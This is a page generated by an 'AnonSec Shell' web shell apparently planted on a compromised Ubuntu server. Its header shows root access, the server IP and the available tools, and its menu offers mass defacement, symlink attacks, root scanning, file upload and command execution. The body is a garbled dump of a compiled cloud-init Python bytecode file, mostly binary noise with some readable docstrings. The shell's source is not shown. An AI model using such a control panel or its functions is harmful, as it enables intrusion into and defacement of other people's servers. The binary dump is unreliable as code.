AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/__pycache__/url_helper.cpython-310.pyc
o

x[h���@sJddlZddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZddlm
Z
ddlmZddlmZddlmZddlmZddlmZmZmZmZmZmZmZmZmZdd	l m!Z!m"Z"m#Z#m$Z$ddl%Z%dd
l%m&Z&ddl'm(Z(m)Z)m*Z*e�+e,�Z-dZ.eed
ge/fZ0dd�Z1dd�Z2de3fdd�Z4d[de5de6de7ddfdd�Z8de5ddfdd�Z9ded fd!d"�Z:Gd#d$�d$�Z;Gd%d�de;�Z<Gd&d�de;�Z=Gd'd(�d(�Z>Gd)d
�d
e?�Z@d*d+�ZAd,e5de6fd-d.�ZBdd/�d0e@d1e0dee6fd2d3�ZCdddd4ddddd5d5ddd6d5d7d6d8�d1e0d9e/de>fd:d;�ZD	d\d<ed=efd>e5de3d?ejEd@ee6defdAdB�ZF	C	Dd]d<ed=efdEee5dFe6de3deee5ee>ff
dGdH�ZGGdIdJ�dJe�ZHe6dK�de-jIdddddd7d5dCdL�dMe6dee6dNedOeedPee6d1e0dQeeee6ge6fdRe5dSe/dTe6fdUdV�ZJGdWdX�dX�ZK	d\dYdZ�ZLdS)^�N)�ThreadPoolExecutor�TimeoutError�as_completed)�	parsedate)�partial)�	NOT_FOUND)�count)�create_default_context)	�Any�Callable�Iterator�List�Mapping�
NamedTuple�Optional�Tuple�Union)�quote�urlparse�urlsplit�
urlunparse)�
exceptions)�performance�util�version�REDACTED�UrlErrorcCs<tt|dd��}|ds|dr|d|d<d|d<t|�S)N�http)�scheme���)�listrr)�url�
parsed_url�r%�6/usr/lib/python3/dist-packages/cloudinit/url_helper.py�	_cleanurl1s
r'cGs$dd�}|}|D]}|||�}q|S)NcSsNtt|��}|d}|r|�d�s|d7}|tt|�dd�7}||d<t|�S)Nr �/z/:)�safe)r"r�endswithr�strr)r#�add_on�
url_parsed�pathr%r%r&�combine_single<sz#combine_url.<locals>.combine_singler%)�base�add_onsr/r#r,r%r%r&�combine_url;s
	r2�returnc
CsXtjdtjdtjdtjdtdi}|�t|��}|s*t|t	�r#|j
}|St�d�d}|S)z4helper for read_ftps to map return codes to a number�,���iXi�z9Unexpected exception type while connecting to ftp server.i����)
�ftplib�error_reply�
error_temp�
error_perm�error_proto�EOFError�get�type�
isinstance�OSError�errno�LOG�warning)�exc�ftp_error_codes�coder%r%r&�"ftp_get_return_code_from_exceptionKs �
��rG�@r#�timeout�kwargs�FtpResponsecKs�t|�}|jstdtd|d��t����_}|jpd}|jpd}d|jkr�zt	j
t�d�}t�
d||�|j|j||p;d	d
�Wn!t	jy`}zt|�}	td|�d|	�d
�|	d|d�|�d}~wwt�
d|�z|j||jpodd�t�
d�|��Wnt	jy�}zt�d�tddd|d�|�d}~wwzNz,t�
d|j�|jd|j��|jd�t|��|�WWt�
d�|��Wd�St	jy�}zt|�}	td|�d|	�d
�|	d|d�|�d}~wwt�
d�|��wzwzTt	��}
t�
d||�|
j|j||�pd	d
�t�
d|�|
j||j�pdd�t�
d|j�|
jd|j��|jd�t|��|�WWt�
d�|
��Wd�St	j�yh}zt|�}	td|�d|	�d
�|	d|d�|�d}~wwt�
d�|
��w1�swwYdS)azconnect to URL using ftp over TLS and read a file

    when using strict mode (ftps://), raise exception in event of failure
    when not using strict mode (ftp://), fall back to using unencrypted ftp

    url: string containing the desination to read a file from. The url is
        parsed with urllib.urlsplit to identify username, password, host,
        path, and port in the following format:
            ftps://[username:password@]host[:port]/[path]
        host is the only required component
    timeout: maximum time for the connection to take
    kwargs: unused, for compatibility with read_url
    returns: UrlResponse
    zInvalid url providedN��causerF�headersr#��	anonymous�ftps)�contextz3Attempting to connect to %s via port [%s] over tls.rH)�host�portrIz1Reading file from server over tls failed for url z [�]z"Attempting to login with user [%s]r!)�user�passwdzCreating a secure connectionz�Attempted to connect to an insecure ftp server but used a scheme of ftps://, which is not allowed. Use ftp:// to allow connecting to insecure ftp servers.r6zReading file: %szRETR )�callbackzClosing connectionz,Reading file from ftp server failed for url z(Attempting to connect to %s via port %s.)r�hostnamerr�io�BytesIOrT�usernamerr7�FTP_TLSr	rB�debug�connect�
all_errorsrG�login�password�prot_pr:rCr.�
retrbinary�writerK�getvalue�close�FTP)r#rIrJ�	url_parts�bufferrTrV�ftp_tls�erF�ftpr%r%r&�	read_ftpsbs�


��
��������
��	����

�<������

��
�

�]������

�rnr.�FileResponsec
Ks�|�d�rt�d|�zt�|�}t||�WSty+}z	t|td|d�|�d}~wt	y@}z
t||j
d|d�|�d}~ww)zmread a binary file and return a FileResponse

    matches function signature with read_ftps and read_url
    �dataz'Unable to post data to file resource %sNrL)r=rBrCr�load_binary_filero�FileNotFoundErrorrr�IOErrorrA)r.rJ�contentsrlr%r%r&�
_read_file�s

���ru)ro�UrlResponserKc
Ks�|��}zt|�}Wnty}zt||d�|�d}~ww|j}|dks-|r6d|dkr6t|jfi|��S|dvrBt|fi|��S|dvrNt|fi|��St	�
d|�t|fi|��S)	a0Wrapper function around readurl to allow passing a file path as url.

    When url is not a local file path, passthrough any kwargs to readurl.

    In the case of parameter passthrough to readurl, default values for some
    parameters. See: call-signature of readurl in this module for param docs.
    )rMr#N�filer(r)rmrQ)r�httpszAttempting unknown protocol %s)�lstripr�
ValueErrorrrrur.rn�readurlrBrC)r#rJ�parsedrlrr%r%r&�read_file_or_url�s 
��r}c@s&eZdZd	dd�Zdd�Zdd�ZdS)
�StringResponse��cCs||_i|_||_||_dS�N)rFrNrtr#��selfrtr#rFr%r%r&�__init__s
zStringResponse.__init__cOs
|jdkS)Nr�rF�r��argsrJr%r%r&�ok�
zStringResponse.okcCs|j�d�S)Nzutf-8)rt�decode�r�r%r%r&�__str__szStringResponse.__str__N�r)�__name__�
__module__�__qualname__r�r�r�r%r%r%r&r~s
r~cs(eZdZddedef�fdd�
Z�ZS)rorrtr#cst�j|||d�dS)Nr���superr�r���	__class__r%r&r�!szFileResponse.__init__r��r�r�r��bytesr+r��
__classcell__r%r%r�r&ro s cs&eZdZdedef�fdd�Z�ZS)rKrtr#cst��||�dSr�r�)r�rtr#r�r%r&r�&szFtpResponse.__init__r�r%r%r�r&rK%sc@s�eZdZdejfdd�Zedefdd��Zede	fdd��Z
ddefd
d�Zedd
��Z
edefdd��Zdd�Z		ddeededeefdd�ZdS)rv�responsecCs
||_dSr�)�	_response)r�r�r%r%r&r�+r�zUrlResponse.__init__r3cCs|jjdurdS|jjS)N�)r��contentr�r%r%r&rt.szUrlResponse.contentscC�|jjSr�)r�r#r�r%r%r&r#4�zUrlResponse.urlFcCs.d}|rd}d|jkr|krdSdSdS)Nr4r5rTFr�)r��redirects_ok�upperr%r%r&r�8s�zUrlResponse.okcCr�r�)r�rNr�r%r%r&rNAr�zUrlResponse.headerscCr�r�)r��status_coder�r%r%r&rFEr�zUrlResponse.codecCr�r�)r��textr�r%r%r&r�IszUrlResponse.__str__r�
chunk_size�decode_unicodeccs�|j�||�EdHdS)atIterates over the response data.

        When stream=True is set on the request, this avoids reading the content
        at once into memory for large responses.

        :param chunk_size: Number of bytes it should read into memory.
        :param decode_unicode: If True, content will be decoded using the best
        available encoding based on the response.
        N)r��iter_content)r�r�r�r%r%r&r�Ls�zUrlResponse.iter_contentN)F)rF)r�r�r��requests�Responser��propertyr�rtr+r#�boolr�rN�intrFr�rrr�r%r%r%r&rv*s(	
����rvc
@s:eZdZ			ddedeedeedeefdd�ZdS)	rNrMrFrNr#cCs8t�|t|��||_||_|durin||_||_dSr�)rsr�r+rMrFrNr#)r�rMrFrNr#r%r%r&r�\s

zUrlError.__init__)NNN)	r�r�r�r
rr�rr+r�r%r%r%r&r[s�����cCs�i}t|�j}|dkr@|r@d|vr|dr|d|d<nd|d<d|vr4d|vr4|d|dg|d<|Sd|vr@t|d�|d<|S)Nrx�ca_certs�verifyT�	cert_file�key_file�cert)rrr+)r#�ssl_details�ssl_argsrr%r%r&�
_get_ssl_argsjs
��r��retry_aftercCs�zt|�}W|StyHzt|�}|std��tt�|�t���}Wnty6t�d|�d}Ynw|dkrEt�d�d}Y|SY|Sw)a<Parse a Retry-After header value into an integer.

    : param retry_after: The value of the Retry-After header.
        https://www.rfc-editor.org/rfc/rfc9110.html#section-10.2.3
        https://www.rfc-editor.org/rfc/rfc2616#section-3.3
    : return: The number of seconds to wait before retrying the request.
    z(Failed to parse Retry-After header valuezGFailed to parse Retry-After header value: %s. Waiting 1 second instead.rrzBRetry-After header value is in the past. Waiting 1 second instead.)�floatrzr�time�mktimerB�info)r��to_wait�
time_tupler%r%r&�_get_retry_after|s2
������r���exception_cb�errorr�cCs\|r||�rdS|jr(|jdkr(t�d�|jr!t|j�dd��St�d�dS|s,dS|�)a�Handle exceptions raised during request processing.

    If we have no exception callback or the callback handled the error or we
    got a 503, return with an optional timeout so the request can be retried.
    Otherwise, raise the error.

    :param error: The exception raised during the request.
    :param response: The response object.
    :param exception_cb: Callable to handle the exception.

    :return: Optional time to wait before retrying the request.
    Ni�zEEndpoint returned a 503 error. HTTP endpoint is overloaded. Retrying.zRetry-After�1z7Unable to introspect response header. Waiting 1 second.r)rFrBrCrNr�r=r�)r�r�r%r%r&�
_handle_error�s�
r�rTFr!)rprI�retries�sec_betweenrN�
headers_cb�headers_redactr��check_status�allow_redirectsr��session�infinite�log_req_resp�request_method�streamr�c s�t|�}||d�}|�t||��|
|d<|s|rdnd}||d<|dur8t|t�r/||d<n	tt|�d�|d<|dur>g}d	}|rKtt|�d	d	�}d
t�	�}|durZ|�
�}ni}|rb||d<|durhd}|durpt��}t
�D�]}|r|||�}d
|vr�||d
<||d<i}|��D]1\}�|dkr�q�|dkr�|r��fdd�|D�}|r�t
���||<|D]}t|||<q�q��||<q�z3|r�t�d||
r�dn|||�|jdi|��}|	r�|��t�d||jt|j�|d	�t|�WStj�y}zt||d�|�d}~wtj�y)}zt||jj|jj|d�}|}WYd}~n"d}~wtj�yF}zt||d�}|}d}WYd}~nd}~wwt ||d�}|�s_|
�pX|d	|k}|�s_||�|�pc|}|dk�rw|�rrt�d|�t!�"|�qst#d��)a`Wrapper around requests.Session to read the url and retry if necessary

    :param url: Mandatory url to request.
    :param data: Optional form data to post the URL. Will set request_method
        to 'POST' if present.
    :param timeout: Timeout in seconds to wait for a response. May be a tuple
        if specifying (connection timeout, read timeout).
    :param retries: Number of times to retry on exception if exception_cb is
        None or exception_cb returns True for the exception caught. Default is
        to fail with 0 retries on exception.
    :param sec_between: Default 1: amount of seconds passed to time.sleep
        between retries. None or -1 means don't sleep.
    :param headers: Optional dict of headers to send during request
    :param headers_cb: Optional callable returning a dict of values to send as
        headers during request
    :param headers_redact: Optional list of header names to redact from the log
    :param ssl_details: Optional dict providing key_file, ca_certs, and
        cert_file keys for use on in ssl connections.
    :param check_status: Optional boolean set True to raise when HTTPError
        occurs. Default: True.
    :param allow_redirects: Optional boolean passed straight to Session.request
        as 'allow_redirects'. Default: True.
    :param exception_cb: Optional callable to handle exception and returns
        True if retries are permitted.
    :param session: Optional exiting requests.Session instance to reuse.
    :param infinite: Bool, set True to retry indefinitely. Default: False.
    :param log_req_resp: Set False to turn off verbose debug messages.
    :param request_method: String passed as 'method' to Session.request.
        Typically GET, or POST. Default: POST if data is provided, GET
        otherwise.
    :param stream: if False, the response content will be immediately
    downloaded.
    )r#r�r��POST�GET�methodNrIrrz
Cloud-Init/%srp���z
User-AgentrNcsg|]	}��|�r|�qSr%)r=)�.0�k��vr%r&�
<listcomp>'szreadurl.<locals>.<listcomp>z'[%s/%s] open '%s' with %s configurationr�z(Read from %s (%s, %sb) after %s attempts�r#�rFrNr#r��1Please wait %s seconds while we wait to try againz"This path should be unreachable...r%)$r'�updater�r?�tuple�maxr�r�r�version_string�copyr��Sessionr�items�deepcopyrrBr^�request�raise_for_statusr��lenr�rvr�SSLErrorr�	HTTPErrorr�rN�RequestExceptionr�r��sleep�RuntimeError) r#rprIr�r�rNr�r�r�r�r�r�r�r�r�r�r��req_args�manual_tries�
user_agent�i�filtered_req_argsr��matched_headers�keyr�rl�	url_error�raised_exception�response_sleep_time�
will_retry�
sleep_timer%r�r&r{�s�5�


�

��
������

�
�r{�func.�addr�event�delaycCs|r
|j|d�r
dS|||�S)z Execute func with optional delay�rIN��wait�r�r�rIr�r�r%r%r&�_run_func_with_delayps
r��333333�?�
�	addresses�
stagger_delaycs.d}d}d}g}t���tt|�d��z|zW�����fdd�t|�D�}t|�d�D],}	||	}|	��}
|
r>|
}|�|�q*|	��}|rV��	�||fWW�j
dd�Sq*|rbt�d||�|�t�
d	|�td
��ty�t�dd�|�d�tt|���YnwW�j
dd�||fS�j
dd�w)
aexecute multiple callbacks in parallel

    Run blocking func against two different addresses staggered with a
    delay. The first call to return successfully is returned from this
    function and remaining unfinished calls are cancelled if they have not
    yet started
    N)�max_workersc
s,i|]\}}�jt�|��|�d�|�qS)r�)�submitr�)r�r�r���executorr��is_doner�rIr%r&�
<dictcomp>�s	���zdual_stack.<locals>.<dictcomp>r�Fr�z<Exception(s) %s during request to %s, raising last exceptionzEmpty result for address %szNo result returnedzJTimed out waiting for addresses: %s, exception(s) raised while waiting: %s� )�	threading�Eventrr��	enumerater�	exception�append�result�set�shutdownrBr^r�rzr�join�mapr+)r�r�r�rI�
return_result�returned_address�last_exceptionr�futures�future�return_exceptionr%rr&�
dual_stack�sT
	�
�	����rc@s2eZdZUeeed<eeed<eeed<dS)�HandledResponser#r��	wait_timeN)r�r�r�rr+�__annotations__rvr�r%r%r%r&r�s
r�inf)�max_waitrI�	status_cbr�r�r�r��
sleep_time_cbr��connect_synchronously�async_delayrrr�r�rr�rrcs�dtdtf�
fdd�}d#dtdtdtfd	d
��dttdttdttttffd
d��dttgtttttffdt	tt
tfdtdtdtdtf��fdd��dtdtdtf���	fdd��dtf�������fdd�}
dtf����fdd�}t
��}�
r�|r�td��|
r�|
n|}|p�|}d�d}	|||||�}d�|jr�|j|jjfS|jr�t
�|j��d �d�q�||��}��||�r�	d"S�d �t�d!|�t
�|�t
��}|r�|||�kr�||}|dkr�	d"Sq�)$a
Wait for a response from one of the urls provided.

    :param urls: List of urls to try
    :param max_wait: Roughly the maximum time to wait before giving up
        The max time is *actually* len(urls)*timeout as each url will
        be tried once and given the timeout provided.
        a number <= 0 will always result in only one try
    :param timeout: Timeout provided to urlopen
    :param status_cb: Callable with string message when a url is not available
    :param headers_cb: Callable with single argument of url to get headers
        for request.
    :param headers_redact: List of header names to redact from the log
    :param sleep_time: Amount of time to sleep between retries. If this and
        sleep_time_cb are None, the default sleep time defaults to 1 second
        and increases by 1 seconds every 5 tries. Cannot be specified along
        with `sleep_time_cb`.
    :param exception_cb: Callable to handle exception and returns True if
        retries are permitted.
    :param sleep_time_cb: Callable with 2 arguments (response, loop_n) that
        generates the next sleep time. Cannot be specified
        along with 'sleep_time`.
    :param request_method: Indicates the type of HTTP request:
        GET, PUT, or POST
    :param connect_synchronously: If false, enables executing requests
        in parallel
    :param async_delay: Delay before parallel metadata requests, see RFC 6555

    :return: tuple of (url, response contents), on failure, (False, None)

    :raises: UrlError on unrecoverable error
    �loop_numberr3cs�dur�S|ddS)N�rr%)�_r)r�r%r&�default_sleep_time
sz(wait_for_url.<locals>.default_sleep_timerr�
start_timer�cSs0|td�dfvr
dS|dkpt��|||kS)z4Check if time is up based on start time and max waitrNFr)r�r��	monotonic)rr#r�r%r%r&�timeups
�zwait_for_url.<locals>.timeupr�r#c
Ss�d}d}|r|sd}tt|��}||fSz|j��Wn&tjjyA}zt||jj|jj	|d�}|t
|�fWYd}~Sd}~ww|jsZd|j}tt|�|j|j	|d�}||fS|�
�sod|j}tt|�|j|j	|d�}||fS)z?Map requests response code/contents to internal "UrlError" typer!NzRequest timed outr�zempty response [%s]zbad status code [%s])rrzr�r�r�rr�r�r�rNr+rtrFr�)r�r#�reason�url_excrlr%r%r&�handle_url_responsesH���
��
�z)wait_for_url.<locals>.handle_url_response�
url_reader_cb�urls�exc_cb�log_cbc

sd}d}z||�\}}�||�\}}|st||dd�WSWn/ty5}	zd|	}|	}WYd}	~	nd}	~	wtyL}	zd|	}|	}WYd}	~	nd}	~	wwtt��|�}
�r[d�nd}d|pet|d	d	�|
||f}||�tddt|t�rt||d
�d�Sdd�S)z:Execute request, handle response, optionally log exceptionr!N)rzrequest error [%s]zunexpected error [%s]z%ss�	unlimitedzCalling '%s' failed [%s/%s]: %sr#r��r#r�r)	rr�	Exceptionr�r�r$�getattrr?r�)
r)r*r#r+r,r&r#r�r'rl�
time_taken�max_wait_str�
status_msg)r(rr%r&�read_url_handle_exceptionsAsD
��������z0wait_for_url.<locals>.read_url_handle_exceptionsrIcs$t|�durin�|��|d�d�S)NF)rNr�rIr�r�)r{)r#rI)r�r�r�r%r&�read_url_cbms�z!wait_for_url.<locals>.read_url_cbc
s�dtf��fdd�}g}�D]H}t��}�dkr>�s>��|�r(tdddd�S�dur>�r>|�|�kr>t|�|���|||||�}|jrM|S|jrV|�|j�q|r]t|�nd}	tdd|	d�S)z|iterate over list of urls, request each one and handle responses
        and thrown exceptions individually per url
        r#cs|�|��fSr�r%r�)r5rIr%r&�url_reader_serial~�z@wait_for_url.<locals>.read_url_serial.<locals>.url_reader_serialrNr.)	r+r�r$rr�r�rr	r�)
r#rIr+r,r6�
wait_timesr#�now�outr)�loop_nr�must_try_againr5r4r%r*r�r&�read_url_serialws0

��
��z%wait_for_url.<locals>.read_url_serialcs tt��|d�}�|�|||�S)z�pass list of urls to dual_stack which sends requests in parallel
        handle response and exceptions of the first endpoint to respond
        )r�rI)rr)r#rIr+r,�url_reader_parallel)rr5r4r*r%r&�read_url_parallel�s�
�z'wait_for_url.<locals>.read_url_parallelz3sleep_time and sleep_time_cb are mutually exclusiveNTFrr�)FN)r)r�r�rrvr+rrrr
rr
�ExceptionCallbackrr�r$rzr�r#rtrr�rBr^)r*rrIrr�r�r�r�rr�rrr"r=r?r#�do_read_url�calculate_sleep_timer��resp�current_sleep_time�current_timer%)
rr(r�r�r;rr<r5r4r�r�r%r*r&�wait_for_url�s�/��
�)�������,
�$�
�
��
�rFc@sheZdZ					ddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�ZdS)�OauthUrlHelperN�/run/oauth_skew.jsoncCst||_|pd|_||_||_||_d|_d|_|j|j|jf}t|�s'd|_nt|�s/t	d��|�
�}|p6i|_dS)Nr!Tr FzBall or none of token_key, token_secret, or consumer_key can be set)�consumer_key�consumer_secret�	token_key�token_secret�skew_data_file�	_do_oauth�skew_change_limit�any�allrz�read_skew_file�	skew_data)r�rIrKrLrJrM�required�oldr%r%r&r��s 
�zOauthUrlHelper.__init__c	Cs�|jrGtj�|j�rGt�d|j����,t|jdd��}t�|�Wd�Wd�S1s2wYWd�dS1sBwYdS)NzReading �r��mode)	rM�osr.�isfiler�Timed�open�json�load)r��fpr%r%r&rR�s�:��zOauthUrlHelper.read_skew_filec	Cs�|jsdS|��}|duri}|||<t�d|j����0t|jdd��}|�t�|��Wd�n1s7wYWd�dSWd�dS1sOwYdS)NzWriting �wrW)rMrRrr[r\rer]�dumps)r�rS�value�curr_r%r%r&�update_skew_files�P�zOauthUrlHelper.update_skew_filec
Cs�t|t�r|jdks|jdksdSd|jvrt�d|j�dS|jd}z	t�t|��}Wnt	yG}zt�d||�WYd}~dSd}~wwt
|t���}t|j�j
}|j�|d�}t||�|jkrs|�||�t�d||�||j|<dS)Ni�i��datez$Missing header 'date' in %s responsez#Failed to convert datetime '%s': %srz$Setting oauth clockskew for %s to %d)r?rrFrNrBrCr�r�rr/r�rr#�netlocrSr=�absrOrd)r�rre�remote_timerl�skewrS�old_skewr%r%r&r�s.�

��
zOauthUrlHelper.exception_cbcCsZ|jsiSd}t|�j}|jr||jvrtt���|j|}t||j|j|j	|j
|d�S)N)r#rIrKrLrJ�	timestamp)rNrrfrSr�r��
oauth_headersrIrKrLrJ)r�r#rkrSr%r%r&r�*s
�zOauthUrlHelper.headers_cbcCs:t|j|�d��|d<t|j|�d��|d<||i|��S)Nr�r�)r�_headers_cbr=�
_exception_cb)r��wrapped_funcr�rJr%r%r&�_wrapped<s��zOauthUrlHelper._wrappedcO�|�t||�Sr�)rprFr�r%r%r&rFEr7zOauthUrlHelper.wait_for_urlcOrqr�)rpr{r�r%r%r&r{Hr7zOauthUrlHelper.readurlc	Cs>d}z|r||�}W|�|�|SW|�|�|S|�|�w)NTr�)r��extra_exception_cbr�retr%r%r&rnKs

�
�zOauthUrlHelper._exception_cbcCs$i}|r||�}|�|�|��|Sr�)r�r�)r��extra_headers_cbr#rNr%r%r&rmTs
zOauthUrlHelper._headers_cb)NNNNrH)
r�r�r�r�rRrdr�r�rprFr{rnrmr%r%r%r&rG�s 
�
		rGc
Csrzddlm}Wnty}ztd�|�d}~ww|r!t|�}nd}|j|||||j|d�}|�|�\}	}
}|
S)Nrzoauth support is not available)�
client_secret�resource_owner_key�resource_owner_secret�signature_methodrk)�oauthlib.oauth1�oauth1�ImportError�NotImplementedErrorr+�Client�SIGNATURE_PLAINTEXT�sign)r#rIrKrLrJrkrzrl�client�_uri�signed_headers�_bodyr%r%r&rl\s&
��
�rl)rHr�)r�r�)Mr�r7rZr]�loggingrYrr��concurrent.futuresrrr�email.utilsr�	functoolsr�http.clientr�	itertoolsr�sslr	�typingr
rrr
rrrrr�urllib.parserrrrr�r�	cloudinitrrr�	getLoggerr�rBrr�r@r'r2r�rGr+r��dictrnrur}r~rorKrvrsrr�r�r�r{rr�rrr^rFrGrlr%r%r%r&�<module>s
,


�1%���
�%�
��
�6�
�����
��
����
�S������	�
���
��

Anon7 - 2022
AnonSec Team